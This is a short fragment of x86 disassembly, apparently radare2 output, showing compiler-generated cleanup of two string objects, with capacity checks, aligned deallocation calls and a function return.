mov edx, dword [ebp + 0x1c]
mov esi, eax
cmp edx, 0x10
jb 0x40903d
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409033
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409086
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0x40907f
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x409075
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x409086
push edx
push ecx
call fcn.00415fcc
add esp, 8
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
call fcn.0041bb2d
int3